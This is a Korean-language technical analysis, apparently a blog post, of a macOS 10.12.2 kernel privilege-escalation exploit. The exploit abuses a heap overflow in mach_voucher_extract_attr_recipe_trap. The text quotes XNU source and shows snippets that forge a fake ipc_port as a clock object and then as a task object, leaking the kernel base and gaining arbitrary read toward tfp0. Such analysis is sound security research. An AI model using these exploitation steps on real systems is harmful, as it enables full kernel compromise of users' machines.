
Mac 10.12.2에서
이번 권한 상승은 mach_voucher_extract_attr_recipe_trap에 존재하는 취약점을 이용하며, 공격 방법의 핵심은 MACH_MSG_OOL_PORTS_DESCRIPTOR 메시지를 통한 것입니다.
mach_msg ool에 대해 간단히 설명하면, ool descriptor를 포함한 msg를 보낼 때 커널은 지정된 데이터를 사용자 공간에서 커널 공간으로 복사하며, 대상 task가 메시지를 처리할 때까지 이 데이터를 계속 유지합니다. 마찬가지로 대상 프로세스가 ool descriptor를 포함한 메시지를 수신하면 커널은 데이터를 커널 공간에서 사용자 공간으로 복사합니다(실제 복사가 아닐 수도 있습니다). 따라서 이 기술을 이용해 커널 힙에 데이터를 쓰거나 커널에서 데이터를 읽을 수 있습니다.
이 취약점의 이용은 Trident보다 훨씬 복잡하기 때문에 취약점 발생 지점부터 단계별 이용까지 하나씩 분석했습니다. 코드는 제 github을 참고하면 됩니다.
iOS 10 및 macOS 10.12에 추가된 새로운 기능 중에는 mach_voucher_extract_attr_recipe_trap이라는 함수가 있습니다. 샌드박스 내에서 호출할 수 있는 Mach trap이며, 아래는 이 함수의 소스 코드입니다.
kern_return_t
mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
{
ipc_voucher_t voucher = IV_NULL;
kern_return_t kr = KERN_SUCCESS;
mach_msg_type_number_t sz = 0;
//将recipe_size的地址拷贝到sz中,此时sz存放的就是kalloc_size的值了
if (copyin(args->recipe_size, (void *)&sz, sizeof(sz))) <---------- (a)
return KERN_MEMORY_ERROR;
if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
return MIG_ARRAY_TOO_LARGE;
voucher = convert_port_name_to_voucher(args->voucher_name);
if (voucher == IV_NULL)
return MACH_SEND_INVALID_DEST;
mach_msg_type_number_t __assert_only max_sz = sz;
if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
/* keep small recipes on the stack for speed */
uint8_t krecipe[sz];
if (copyin(args->recipe, (void *)krecipe, sz)) {
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
} else {
uint8_t *krecipe = kalloc((vm_size_t)sz); <---------- (b)
if (!krecipe) {
kr = KERN_RESOURCE_SHORTAGE;
goto done;
}
if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) { <----------- (c)
kfree(krecipe, (vm_size_t)sz);
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
kfree(krecipe, (vm_size_t)sz);
}
kr = copyout(&sz, args->recipe_size, sizeof(sz));
done:
ipc_voucher_release(voucher);
return kr;
}
args->recipe_size가 sz에 기록된다는 것을 알 수 있습니다.sz의 크기가 MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120)와 MACH_VOUCHER_TRAP_STACK_LIMIT (256) 사이에 있으면 sz 값에 따라 커널 힙 버퍼를 할당합니다.sz가 아니라 사용자 공간 포인터입니다. 따라서 힙 오버플로가 발생하며, 우리는 바로 이 지점을 이용해 공격합니다. 또한 copyin 함수는 unmap된 페이지를 만나면 복사를 중지하는 특징이 있는데, 이 특징은 우리의 poc에서 이용됩니다.freelist 무작위화 이후에는 재할당된 메모리 블록의 위치를 알 수 없기 때문입니다.mach msg에서 MACH_MSG_OOL_PORTS_DESCRIPTOR가 처리되는 방식부터 살펴보겠습니다. 커널은 복잡한 메시지를 수신했을 때 그것이 ports descriptor임을 확인하면 (ipc_kmsg_copyin에 의해 호출되는) ipc_kmsg_copyin_ool_ports_descriptor 함수에 넘겨 모든 port 객체를 읽습니다. 이 함수는 kalloc을 호출해 필요한 메모리를 할당하고(64비트에서는 입력의 2배 크기, name의 길이는 4바이트), 유효한 port는 name에서 실제 ipc_port 객체 주소로 변환해 저장합니다. 입력이 MACH_PORT_NULL 또는 MACH_PORT_DEAD인 name은 그대로 유지됩니다.
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if(ports_length == 0){
return user_desc;
}
data = kalloc(ports_length); // 分配空间
...
objects = (ipc_object_t *) data;
dsc->address = data;
for ( i = 0; i < count; i++) {
mach_port_name_t name = names[i];
ipc_object_t object;
if (!MACH_PORT_VALID(name)) {
objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue;
}
...
}
그래서 공격할 때는 다량의 MACH_PORT_DEAD를 전송하여 메모리 영역을 0xFFFFFFFFFFFFFFFF(MACH_PORT_DEAD)로 채웁니다. 그런 다음 취약점을 트리거하여 그중 하나의 IPC_PORT_DEAD를 공격자가 배치한 메모리 영역으로 변경합니다. 만약 가리키는 영역이 유효한 ipc port 구조체라면, OOL PORTS 메시지를 수신한 후 사용자 공간에서 이 ipc_port에 대응하는 port name을 얻을 수 있어 다음 공격을 진행할 수 있습니다.
ipc_object 객체의 구성먼저 우리는 이미 이 fake port를 얻었습니다. 이제 정보 유출을 진행하려면 커널이 어떤 매개변수에 따라 이 포트를 다르게 처리하는지 알아야 합니다. 먼저 ipc_port 구조체를 살펴보겠습니다.
struct ipc_port {
//ipc_object的指针就在前八个字节,是我们溢出攻击的对象
struct ipc_object ip_object; // port对象的类型 struct ipc_mqueue,ip_messages;
struct ipc_mqueue ip_messages; //消息队列
union {
struct ipc_space *receiver;
struct ipc_port *destination;
ipc_port_timestamp_t timestamp;
}data;
union {
ipc_importance_task_t imp_task;
ipc_kobject_t kobject; // port对应的内核对象
uintptr_t alias;
}kdata;
...
} __attribute__((__packed__));
그중에는 port에 대응하는 커널 객체가 있습니다. 이 ipc_port가 어떤 종류의 커널 객체에 대응하는지는 ipc_object의 속성에 의해 결정됩니다. 따라서 실제로는 ipc_object를 대상으로 구성하게 됩니다.
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; //设置为IKOT_CLOCK对象,并处于激活状态
fakeport->io_lock_data[12] = 0x11; //设置port锁处于活动状态,防止死锁
커널은 이 ipc_port를 IKOT_CLOCK 객체와 통신하는 port로 인식합니다. 다음 목표는 커널 베이스 주소를 누출하는 것입니다.
이 ipc_port를 IKOT_CLOCK 객체로 위조한 다음, kdata.kobject 포인터를 커널 주소로 설정합니다. 이 커널 주소를 매번 수정한 후 사용자 공간에서 clock_sleep_trap을 호출하면, 커널 내부에서 port_name_to_clock을 호출해 이 커널 주소를 얻고, 이를 clock 매개변수로 clock_sleep_internal에 전달합니다. 소스 코드는 다음과 같습니다.
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
if (clock == CLOCK_NULL)
return (KERN_INVALID_ARGUMENT);
if (clock != &clock_list[SYSTEM_CLOCK])
return (KERN_FAILURE);
...
}
위 코드에서 clock의 주소가 clock_list[SYSTEM_CLOCK]의 주소가 아니면 KERN_FAILURE를 반환하고, 그렇지 않으면 다른 값을 반환한다는 것을 알 수 있습니다. 따라서 반환된 값을 이용해 반복적으로(kobject 값을 계속 수정하며) KERN_FAILURE가 반환될 때까지 순회하면 커널에서 clock_list[SYSTEM_CLOCK]의 주소를 얻을 수 있습니다. 이 주소는 힙에 있는 것이 아니라 커널의 전역 변수이며 특정 오프셋에 있습니다. 다음 단계는 이 위치에서 시작해 각 페이지의 헤더를 읽어 MH_MAGIC_64, 즉 0xfeedfacf를 찾는 것입니다.
extern struct clock_ops sysclk_ops, calend_ops;
struct clock clock_list[] = {
{&sysclk_ops, 0, 0},
{&calend_ops, 0, 0}
};
이 주소를 얻은 후에는 객체를 task 타입으로 변환하고 커널 베이스 주소를 찾아야 합니다. 그래야 kslide를 계산하고 이후 tfp0 작업을 진행할 수 있습니다.
//将fake port的类型换成task,因为需要利用pid_for_task这个接口来进行任意地址读
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;
kobject 주소를 얻어 페이지의 시작 부분으로 이동합니다. Yalu102와 Zheng min의 Poc에서 이 작업의 순서는 다르지만, faketask의 주소도 같은 페이지에 있으므로 결과에는 영향을 주지 않습니다. AND 연산을 한 번 수행하면 항상 페이지 시작 주소를 얻을 수 있기 때문입니다.
uint64_t leaked_ptr = *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;
그런 다음 무한 루프로 MH_MAGIC_64를 찾고 tfp0 단계를 진행합니다.